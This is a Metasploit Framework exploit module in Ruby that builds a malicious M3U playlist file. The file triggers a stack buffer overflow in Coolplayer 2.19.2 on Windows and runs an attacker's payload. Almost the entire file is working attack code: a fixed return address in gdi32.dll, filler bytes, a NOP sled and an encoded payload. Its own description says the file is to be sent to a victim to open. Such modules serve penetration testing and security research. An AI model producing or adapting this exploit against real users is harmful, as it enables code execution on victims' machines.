##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Coolplayer 2.19.2 (M3U File) Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack-based buffer overflow in Coolplayer 2.19.2.  An attacker must send the file to the victim and the victim must open the file.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [
           'Securityxxxpert',      # Initial Discovery
           'James Fitts' # Metasploit Module
         ],
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'URL', 'http://www.exploit-db.com/exploits/17294' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 268,
     'BadChars' => "\x00\x0a\x0d",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'Windows Universal', { 'Ret' => 0x77f31d8a } ], #p/p/r in gdi32.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'May 16 2011',
   'DefaultTarget'  => 0))

   register_options(
    [
     OptString.new('FILENAME', [ true, 'The file name.',  'msf.m3u']),
    ], self.class)
 end

 def exploit

  m3u = rand_text_alpha_upper(220) + [target.ret].pack('V')
  m3u << make_nops(12)
  m3u << payload.encoded

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(m3u)

 end

end